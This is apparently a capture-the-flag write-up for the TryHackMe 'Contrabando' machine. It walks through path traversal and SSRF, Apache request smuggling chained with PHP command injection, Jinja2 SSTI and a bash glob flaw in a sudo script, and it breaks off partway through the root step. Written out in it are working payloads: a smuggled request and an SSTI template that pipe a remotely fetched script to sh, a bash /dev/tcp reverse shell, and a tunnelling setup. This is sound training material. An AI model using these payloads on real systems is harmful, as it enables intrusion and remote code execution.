Skip to content

TryHackMe - Contrabando

Introduction


OS: Linux

URL: Contrabando

Level: Hard

challenge_poster.png


Contrabando presents a website with a simple SSRF/File Disclosure vulnerability. However, to gain a shell on the machine, you’ll need to discover a Request Smuggling vulnerability (in apache) and chain it with a Command Injection vulnerability in another PHP file to establish a foothold.

For user privilege escalation, you’ll need to scan the host machine for additional open ports and identify a webpage vulnerable to SSTI. Finally, for root, you’ll exploit a Bash pitfall (wildcard injection) first to leak a password, and then leverage an old Python vulnerability to gain root access.

Recon

Run a full nmap port scan to find all open ports.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ sudo nmap --min-rate=10000 -vv 10.201.67.78 -p-

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 60
80/tcp open  http    syn-ack ttl 59


┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ sudo nmap --min-rate=10000 -vv 10.201.67.78 -p 22,80 -sC -sV

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 60 OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 41:ed:cf:46:58:c8:5d:41:04:0a:32:a0:10:4a:83:3b (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDjg3ryM+r7qxTQ5xAjU83DI6BXLjjzuwq8JgdhMGqUe4xYMTqG1s5JIQV4qQjpyqcnV47YE08e5Ld0ocxifpjTJ6HisyckOPNo/zqUri1Z+9K9LahP/dzWmE7mMBMql9Kzw+0f0/afMzc84qYlfNcw4yFYDVNXYx7mSJO5PRg4Tz3EGsE6jRRVBUkFJFOQmpdoCG7a5Ni6qjYh39/aBwIYeTM0d/HopG6b3NO6Yvx4rTo/xnG9vTWwYqKsWYFBrtMg/7GSh01zblPI6cjxXBxbfnhtId1/zXlY78Rkt0FvYbzFUUaGsvsUEoB8H4i8Z5n1mY3b7dw/A7anxtK19tkgs3+JZ9tOJRPYpgefslbw/w+Xyq1Q/xlokzUKdeZZV/5Z/Zh5/mhA0CibBC5s/rdx11YKMfYXXiCB/br8icBHBrSc12ZR0gUPsXS6IauN1BrotolWzv+9SvnEmj+KYeGX4yL+WoK/EG1Q6wBhX5eG6gWtFRk3IHYiBDoFGene7sk=
|   256 e8:f9:24:5b:e4:b0:37:4f:00:9d:5c:d3:fb:54:65:0a (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFwb/Rz7jCz7YDYzNkf47+OXqnvgcYLVXQG5+kCpd5r6IQ7yl6Uqy03wr5mhL2pFecKeFZ9YcAH7yXOYCjhE4tc=
|   256 57:fd:4a:1b:12:ac:7c:90:80:88:b8:5a:5b:78:30:79 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBPpQejy/V33/ZPRlA/Ox2LyfOuWesS7uru9W0GMWlD3
80/tcp open  http    syn-ack ttl 59 Apache httpd 2.4.55 ((Unix))
|_http-title: Site doesn't have a title (text/html).
| http-methods:
|   Supported Methods: POST OPTIONS HEAD GET TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.55 (Unix)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There are only two open ports: 22 (SSH) and 80 (HTTP). The web server is running Apache HTTPD 2.4.55 on Ubuntu.

Web Enumeration

homepage.png

beta_homepage.png

There are just two pages: the homepage and a beta page. The homepage has a link to the beta page, which says that their password generator is currently down.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ feroxbuster -B -u http://10.201.67.78/ -w /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt -d 2 -o ferxbuster.main.out  -x php

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://10.201.67.78/
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/useful/SecLists/Discovery/Web-Content/raft-small-words.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💾  Output File           │ ferxbuster.main.out
 💲  Extensions            │ [php]
 🏦  Collect Backups       │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 2
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        7l       20w      199c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        7l       23w      196c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       62l      100w      873c http://10.201.67.78/page/home.html
200      GET        2l       19w      152c http://10.201.67.78/page/home.html~
200      GET        2l       19w      155c http://10.201.67.78/page/home.html.bak
200      GET        2l       19w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       64l      102w      922c http://10.201.67.78/
200      GET        2l       14w      118c http://10.201.67.78/page/
200      GET       10l       15w      148c http://10.201.67.78/page/index.php
200      GET       14l       41w      392c http://10.201.67.78/page/gen.php
[######>-------------] - 69s    26881/86039   2m      found:7       errors:0
[###>----------------] - 69s     6810/43008   99/s    http://10.201.67.78/
[###>----------------] - 67s     6579/43008   99/s    http://10.201.67.78/page/

Running feroxbuster reveals a few interesting files:

  • /page/home.html
  • /page/home.html~
  • /page/home.html.bak
  • /page/index.php
  • /page/gen.php

Trying to fetch the php files we get raw output of the php files instead of them being executed.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl 'http://10.201.67.78/page/index.php'
<?php

$page = $_GET['page'];
if (isset($page)) {
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}

?>

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl 'http://10.201.67.78/page/gen.php'
<?php
function generateRandomPassword($length) {
    $password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
    return $password;
}

if(isset($_POST['length'])){
        $length = $_POST['length'];
        $randomPassword = generateRandomPassword($length);
        echo $randomPassword;
}else{
    echo "Please insert the length parameter in the URL";
}
?>


Let's take a better look at both the PHP files before we proceed.

index.php script is vulnerable to a File Disclosure and Server Side Request Forgery (SSRF) attack. It reads the page parameter from the URL and uses readfile() to display the contents of the specified file. If no page parameter is provided, it redirects to home.html.

index.php
<?php

$page = $_GET['page'];
if (isset($page)) {
    readfile($page);
} else {
    header('Location: /index.php?page=home.html');
}


gen.php is vulnerable to Command Injection. It takes a length parameter from a POST request and uses it to generate a random password but it fails to sanitize the input before passing it to the exec() function. This allows an attacker to inject arbitrary commands into the system.

gen.php
<?php
function generateRandomPassword($length) {
    $password = exec("tr -dc 'a-zA-Z0-9' < /dev/urandom | head -c " . $length);
    return $password;
}

if(isset($_POST['length'])){
        $length = $_POST['length'];
        $randomPassword = generateRandomPassword($length);
        echo $randomPassword;
}else{
    echo "Please insert the length parameter in the URL";
}
?>

Exploitation

File Disclosure

Trying to fetch a non-existent file gives us php readfile error.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl  http://10.201.67.78/page/NONEXISTANT
<br />
<b>Warning</b>:  readfile(NONEXISTANT): failed to open stream: 
No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />

This likely indicates that Apache is set to forward any requests that follow the pattern /page/* to the index.php?page=* script which then uses readfile() to read the contents of the file specified in the page parameter.

Checking the headers, we also find that there are two different versions of Apache running depending on the page requested.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl -s http://10.201.43.93/ -I  | grep Server
Server: Apache/2.4.55 (Unix)

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl -s http://10.201.43.93/page/NONEXISTANT -I  | grep Server
Server: Apache/2.4.54 (Debian)
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/../../../../../etc/passwd'
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
</head><body>
<h1>Bad Request</h1>
<p>Your browser sent a request that this server could not understand.<br />
</p>
</body></html>

We cannot directly pass ../ as it is blocked by Apache. However, we can bypass this restriction by using a double URL encoding technique.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
....

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/etc/hosts'
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::  ip6-localnet
ff00::  ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3      124a042cc76c

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/.dockerenv'

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/..%252f..%252f..%252f..%252f..%252f/NONEXISTANT'
<br />
<b>Warning</b>:  readfile(../../../../..//NONEXISTANT): failed to open stream: 
No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />

Tip

/ url encoded is %2F. URL encoding %2f again gives us %252F. So, we can use ..%252f to traverse directories.

This works as there seem to be two apache servers.

  • first server decodes /page/..%252f..%252f..%252f..%252f..%252f/etc/passwd to /page/..%2f..%2f..%2f..%2f..%2f/etc/passwd
  • then passes the request over to localhost:PORT/index.php?page=/page/..%2f..%2f..%2f..%2f..%2f/etc/passwd
  • since apache does not sanitize the page parameter it then url decodes the request and forwards it to index.php

Reading files off the system is not really helpful in this case as there are no sensitive files. But we do confirm that we are inside a docker container with the IP 172.18.0.3


SSRF

The readfile() function by default also allows users to read network resources using various protocols like http, https, ftp, etc.

But requesting a path like /path/http://IP:PORT/file will not work as Apache sanitizes any // in the path and converts it to / making the path /path/http:/IP:PORT/file.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http://10.17.16.161/test.html'
<br />
<b>Warning</b>:  readfile(http:/10.17.16.161/test.html): failed to open stream: No such file or directory in <b>/var/www/html/index.php</b> on line <b>5</b><br />

To bypass this we can again double url encode one of the /.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http:%252f/10.17.16.161/test.html'
hello :)

Using this, we can now try to fuzz ports on the target docker container to find any other open ports.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ ffuf -u 'http://10.201.67.78/page/http:%252f/127.0.0.1:FUZZ' -w <(seq 1 65535) -mc all -c -request-proto http -fw 16

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.201.67.78/page/http:%252f/127.0.0.1:FUZZ
 :: Wordlist         : FUZZ: /proc/self/fd/11
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response words: 16
________________________________________________

8080                    [Status: 200, Size: 873, Words: 121, Lines: 63, Duration: 425ms]

We find that port 8080 is open. Let's try to access it.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http:%252f/127.0.0.1:8080' -s | html2text
THM
****** Our password generator is currently down. ******
===============================================================================

This text is similar to the beta page. So we are indeed accessing the index.php script on the target docker container.

We can now also execute gen.php script.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/http:%252f/127.0.0.1:8080/gen.php'
Please insert the length parameter in the URL 

The problem here is that gen.php requires that we pass in length parameter in the POST request. But using php's readfile() function we can only make GET requests.

There are a few techniques we can use to bypass this restriction listed in PayloadsAllTheThings SSRF section.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/gopher:%252f/127.0.0.1:8080/gen.php'
<br />
<b>Warning</b>:  readfile(): Unable to find the wrapper &quot;gopher&quot; - 
did you forget to enable it when you configured PHP? in <b>/var/www/html/index.php</b> on line <b>5</b><br />

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/dict:%252f/127.0.0.1:8080/gen.php'
<br />
<b>Warning</b>:  readfile(): Unable to find the wrapper &quot;dict&quot; - 
did you forget to enable it when you configured PHP? in <b>/var/www/html/index.php</b> on line <b>5</b><br />

But alas, none of the PHP wrappers that would let us smuggle a POST request are enabled.


Request Smuggling

Apache 2.4.0 through 2.4.55 is vulnerable to CVE-2023-25690 which allows for Request Smuggling attacks via CRLF injection in certain configurations.

The vulnerability allows an attacker to craft requests that are parsed differently by the front-end and back-end servers, enabling additional requests to be smuggled to the back-end.

Apache Config
<VirtualHost *:80>

    ServerName localhost
    DocumentRoot /usr/local/apache2/htdocs

    RewriteEngine on
    RewriteRule "^/page/(.*)" "http://backend-server:8080/index.php?page=$1" [P]
    ProxyPassReverse "/page/" "http://backend-server:8080/"

</VirtualHost>
Tip

Before we start to exploit here is a list of characters and their URL encoded values that we will use in the exploit.

  • \r - %0D
  • \n - %0A
  • <SPACE> - %20

This GitHub repo details the exact attack steps along a with lab environment to test the exploit.

First let's repare a POST request for gen.php with the command injection payload.

1
2
3
4
5
6
POST /gen.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

length=8;curl 10.17.16.161/shell.sh|sh;

raw_request_for_gen_php.png

Note that you'll need to figure out the actual length of the payload to set the Content-Length header correctly. In this case, the length is 39 characters.

Tip

When you select the text in Burp Suite, it will display the length of the selected text in the sidebar in both decimal and hexadecimal format. This is useful for determining the correct Content-Length header value.

Let's craft the request by sending a test request to burp suite, modifying the request to contain multiple requests and then url encoding the requests.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl --path-as-is 'http://10.201.67.78/page/gen.php' -x 127.0.0.1:8080
<?php
....

Let's append our payload request to the request that we just intercepted and

1
2
3
4
5
6
7
8
9
GET /page/gen.php HTTP/1.1
Host: 172.18.0.3

POST /gen.php HTTP/1.1
Host: localhost
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

length=1; curl 10.17.16.161/shell.sh|sh;

burp_request.png

Now take the entire payload starting from "<SPACE> HTTP/1.1" in line 1 till the end of the request and replace all <SPACE> with %20, \r with %0D and \n with %0A.

Here's a simple python script to do that:

encode_request.py
text = """ HTTP/1.1
Host: 10.201.67.78

POST /gen.php HTTP/1.1
Host: localhost
Content-Length: 40
Content-Type: application/x-www-form-urlencoded

length=1; curl 10.17.16.161/shell.sh|sh;


"""

encoded = ""

for line in text.splitlines():
    line = line.replace(" ", "%20").replace("\r", "%0D").replace("\n", "%0A") + "%0D%0A"
    encoded += line

print(encoded)
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ python encode_request.py
%20HTTP/1.1%0D%0AHost:%2010.201.67.78%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Length:%2040%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Alength=1;%20curl%2010.17.16.161/shell.sh|sh;%0D%0A%0D%0A%0D%0A

use the output above to modify our request

GET /page/gen.php%20HTTP/1.1%0D%0AHost:%2010.201.67.78%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Length:%2040%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Alength=1;%20curl%2010.17.16.161/shell.sh|sh;%0D%0A%0D%0A%0D%0A

However, the request is missing the initial HTTP/1.1 in the request line and the required Host header — both of which the first Apache server needs to process the request correctly.

Add a Host header (for example, Host: localhost this doesn't matter as there are no vhost configured on the Apache server) and ensure the initial request line ends with HTTP/1.1.

GET /page/gen.php%20HTTP/1.1%0D%0AHost:%2010.201.67.78%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Length:%2040%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Alength=1;%20curl%2010.17.16.161/shell.sh|sh;%0D%0A%0D%0A%0D%0A HTTP/1.1
Host: localhost

final_request.png

Shell as www-data

Before we send the request:

  • Create a shell.sh file with the command for reverse shell.
  • Start a netcat listener on port 445 to catch the reverse shell.
  • start a web server on your local machine to serve the shell.sh file.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ cat shell.sh
 bash -c 'bash -i >& /dev/tcp/10.17.16.161/445 0>&1'


┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...


┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ rlwrap nc -lvnp 445
listening on [any] 445 ...

Now we can send the request in burp suite which should fetch the shell.sh file and execute it.

You can also use curl to send the request directly.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl -s 'http://10.201.43.93/page/gen.php%20HTTP/1.1%0D%0AHost:%2010.201.67.78%0D%0A%0D%0APOST%20/gen.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0AContent-Length:%2040%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Alength=1;%20curl%2010.17.16.161/shell.sh|sh;%0D%0A%0D%0A%0D%0A'

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>502 Proxy Error</title>

reverse_shell.png


Shell as hansolo

We have a low priv shell as www-data inside a docker container that doesn't have any special privileges or any juicy files.

Let's try to enumerate any other docker containers / host machine for any open ports.

Download a copy of nmap-static and transfer it over to the target docker container.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ wget https://github.com/opsec-infosec/nmap-static-binaries/releases/download/v2/nmap-x64.tar.gz
--2025-08-17 14:10:51--  https://github.com/opsec-infosec/nmap-static-binaries/releases/download/v2/nmap-x64.tar.gz

Saving to: ‘nmap-x64.tar.gz’
nmap-x64.tar.gz   100%[===========>]  10.19M  14.3MB/s    in 0.7s

2025-08-17 14:10:53 (14.3 MB/s) - ‘nmap-x64.tar.gz’ saved [10686789/10686789]
www-data@124a042cc76c:/var/www$ cd /tmp/

www-data@124a042cc76c:/tmp$ mkdir test

www-data@124a042cc76c:/tmp$ cd test

www-data@124a042cc76c:/tmp/test$ curl 10.17.16.161/nmap-x64.tar.gz -o nmap-x64.tar.gz
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 10.1M  100 10.1M    0     0  2997k      0  0:00:03  0:00:03 --:--:-- 2996k

www-data@124a042cc76c:/tmp/test$ tar -xzf nmap-x64.tar.gz

www-data@124a042cc76c:/tmp/test$ ls -l nmap
-rwxr-xr-x 1 www-data www-data 7024256 Apr 19  2021 nmap

Now we can run nmap scan the network range for alive hosts.

www-data@124a042cc76c:/tmp/test$ ./nmap 172.18.0.0/16 -sn --min-rate=10000 -n
Starting Nmap 7.91 ( https://nmap.org ) at 2025-08-17 18:18 UTC
Nmap scan report for 172.18.0.1
Host is up (0.0029s latency).
Nmap scan report for 172.18.0.2
Host is up (0.0022s latency).
Nmap scan report for 172.18.0.3
Host is up (0.0017s latency).
Nmap done: 65536 IP addresses (3 hosts up) scanned in 29.18 seconds

Then run a port scan on .1 and .2 hosts (skipping .3 as it is the host we are currently on) to find any open ports.

www-data@124a042cc76c:/tmp/test$ ./nmap 172.18.0.1-2 -p- --min-rate=10000 -n -vv
Starting Nmap 7.91 ( https://nmap.org ) at 2025-08-17 18:20 UTC

Nmap scan report for 172.18.0.1
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
80/tcp   open  http    syn-ack
5000/tcp open  upnp    syn-ack

Nmap scan report for 172.18.0.2
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack

Port 80 on both the hosts lead to the same apache server that we have already exploited.

www-data@124a042cc76c:/tmp/test$ curl -s  172.18.0.2/ | grep -i checkout
    <a href="/page/home.html">Checkout our beta page</a>
www-data@124a042cc76c:/tmp/test$ curl -s  172.18.0.1/ | grep -i checkout
    <a href="/page/home.html">Checkout our beta page</a>

But port 5000 on .1 host leads to a different web server that we have not seen before.

www-data@124a042cc76c:/tmp/test$ curl 172.18.0.1:5000
<!DOCTYPE html>
<html>
<head>
    <title>Website Display</title>
</head>
<body>
    <h1>Fetch Website Content</h1>
    <h2>Currently in Development</h2>
    <form method="POST">
        <label for="website_url">Enter Website URL:</label>
...

Port 5000

Let's forward the port 5000 to our local machine and access it in the browser.

  • run a chisel server on attacker machine
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ ~/tools/chisel/chisel server --reverse --port 8001
2025/08/17 14:30:38 server: Reverse tunnelling enabled
2025/08/17 14:30:38 server: Fingerprint U8qKD0Ja1Y6nsN0D3C8n/4dYNjvLh4X+hYdGwG7tZIE=
2025/08/17 14:30:38 server: Listening on http://0.0.0.0:8001
  • connect to chisel server from the target docker container and forward port 5000
www-data@124a042cc76c:/tmp/test$ curl http://10.17.16.161/chisel/chisel -o chisel
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 9152k  100 9152k    0     0  2168k      0  0:00:04  0:00:04 --:--:-- 2168k

www-data@124a042cc76c:/tmp/test$ chmod +x chisel

www-data@124a042cc76c:/tmp/test$ ./chisel client 10.17.16.161:8001 R:5000:172.18.0.1:5000
2025/08/17 18:35:14 client: Connecting to ws://10.17.16.161:8001
2025/08/17 18:35:16 client: Connected (Latency 235.957962ms)
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -I
HTTP/1.1 200 OK
Server: Werkzeug/3.0.0 Python/3.8.10
Date: Sun, 17 Aug 2025 18:41:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 421
Connection: close

port_5000_webpage.png

Another SSRF?

Making a request to a netcat listener (http://VPNIP:8000) reveals that it's using pycurl to make the requests

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=http://10.17.16.161:8000'


┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ nc -lvnp 8000
listening on [any] 8000 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.67.78] 56026
GET / HTTP/1.1
Host: 10.17.16.161:8000
User-Agent: PycURL/7.45.2 libcurl/7.68.0 OpenSSL/1.1.1f zlib/1.2.11 brotli/1.0.7 libidn2/2.2.0 libpsl/0.21.0 (+libidn2/2.2.0) libssh/0.9.3/openssl/zlib nghttp2/1.40.0 librtmp/2.3
Accept: */*

We can read files using file:// protocol.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=file:///etc/passwd' | html2text | grep sh
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
false fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:
lxd:/bin/false hansolo:x:1000:1000::/home/hansolo:/bin/bash

Using this, we can leak the source code of the app.

# check /proc/self/cmdline param to find the app path

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=file:///proc/self/cmdline' | html2text
****** Fetch Website Content ******
***** Currently in Development *****
Enter Website URL: [website_url         ]Fetch Website
/usr/bin/python3/home/hansolo/app/app.py

# get the app source
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=file:///home/hansolo/app/app.py'
app.py
from flask import Flask, render_template, render_template_string, request
import pycurl
from io import BytesIO

app = Flask(__name__)

@app.route('/', methods=['GET', 'POST'])
def display_website():
    if request.method == 'POST':
        website_url = request.form['website_url']

        # Use pycurl to fetch the content of the website
        buffer = BytesIO()
        c = pycurl.Curl()
        c.setopt(c.URL, website_url)
        c.setopt(c.WRITEDATA, buffer)
        c.perform()
        c.close()

        # Extract the content and convert it to a string
        content = buffer.getvalue().decode('utf-8')
        buffer.close()
        website_content = '''
        <!DOCTYPE html>
<html>
<head>
    <title>Website Display</title>
</head>
<body>
    <h1>Fetch Website Content</h1>
    <h2>Currently in Development</h2>
    <form method="POST">
        <label for="website_url">Enter Website URL:</label>
        <input type="text" name="website_url" id="website_url" required>
        <button type="submit">Fetch Website</button>
    </form>
    <div>
        %s
    </div>
</body>
</html>'''%content

        return render_template_string(website_content)

    return render_template('index.html')

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=False)

Here's the app flow:

  1. The app uses Flask to create a web server that listens for incoming requests.
  2. when a post request is made to / it fetches the website_url parameter from the request.
  3. It uses pycurl to fetch the content of the specified URL and stores it in the variable content.
  4. It then inserts the content into an html template stored as website_content
  5. Finally, it uses the Jinja2 template engine to render the website_content and return it as a response.

Since we can control the content that gets fed to render_template_string() we can inject our SSTI payload to execute arbitrary code on the server.

SSTI

  • run a python server to serve the files before making the requests
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  • Test with a simple {{7*7}} payload to see if SSTI is working.
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ echo 'SSTI TEST {{7*7}}' > ssti_test.html

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=http://10.17.16.161/ssti_test.html'  | html2text
****** Fetch Website Content ******
***** Currently in Development *****
Enter Website URL: [website_url         ]Fetch Website
SSTI TEST 49

Our {{7*7}} payload is being evaluated to 49 and the result is being rendered in the response.

Let's use a payload from hacktricks to get a reverse shell.

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ cat ssti.html
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("curl 10.17.16.161/shell.sh|sh").read()}}{%endif%}{% endfor %}

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ cat shell.sh
 bash -c 'bash -i >& /dev/tcp/10.17.16.161/445 0>&1'

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ nc -lvnp 445
listening on [any] 445 ...

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ curl localhost:5000 -s -X POST -d 'website_url=http://10.17.16.161/ssti.html'
  • stabilize the shell
┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ nc -lvnp 445
listening on [any] 445 ...
connect to [10.17.16.161] from (UNKNOWN) [10.201.67.78] 54820
bash: cannot set terminal process group (723): Inappropriate ioctl for device
bash: no job control in this shell
hansolo@contrabando:~$ id
id
uid=1000(hansolo) gid=1000(hansolo) groups=1000(hansolo)

hansolo@contrabando:~$ ls
app
hansolo_userflag.txt
shell.py

hansolo@contrabando:~$ cat hansolo_userflag.txt
THM{Th3_**REDACTED**}


hansolo@contrabando:~$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
hansolo@contrabando:~$ ^Z
zsh: suspended  nc -lvnp 445

┌──(kali㉿kali)-[~/THM/Contrabando]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvnp 445

hansolo@contrabando:~$ export TERM=xterm-256color

Shell as root

Bash wildcard / glob injection

Running sudo -l reveals that the user hansolo can run /usr/bin/vault as root without a password.

hansolo@contrabando:~$ sudo -l
Matching Defaults entries for hansolo on contrabando:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User hansolo may run the following commands on contrabando:
    (root) NOPASSWD: /usr/bin/bash /usr/bin/vault
    (root) /usr/bin/python* /opt/generator/app.py

/usr/bin/vault is a bash script.

/usr/bin/vault
#!/bin/bash

check () {
        if [ ! -e "$file_to_check" ]; then
            /usr/bin/echo "File does not exist."
            exit 1
        fi
        compare
}


compare () {
        content=$(/usr/bin/cat "$file_to_check")

        read -s -p "Enter the required input: " user_input

        if [[ $content == $user_input ]]; then
            /usr/bin/echo ""
            /usr/bin/echo "Password matched!"
            /usr/bin/cat "$file_to_print"
        else
            /usr/bin/echo "Password does not match!"
        fi
}

file_to_check="/root/password"
file_to_print="/root/secrets"

check

Here's the flow of the script:

  1. It registers two files /root/password as file to check and /root/secrets as file to print.
  2. It checks if the file /root/password exists. If it does not, it prints an error message and exits.
  3. It reads the content of the file /root/password and stores it in the variable content.
  4. It prompts the user to enter a password and stores it in the variable user_input.
  5. It compares the content and user_input. If they match, it prints the content of /root/secrets. If they do not match, it prints an error message.


The check if [[ $content == $user_input ]]; then is vulnerable because it uses [[ ... ]] with the attacker-controlled value on the right-hand side of the check and does not sanitize that input.

In [[ string == pattern ]] the right-hand side is treated as a shell pattern (globbing), so user-supplied metacharacters like *, ?, or [...] are interpreted as wildcards rather than literal characters.

example: [[ "SOME_RANDOM_STRING" == *]] will always evaluate to true because * matches any string.

Using this we can bruteforce the password one character at a time by passing * as the user_input and checking if the secrets file is printed or not.

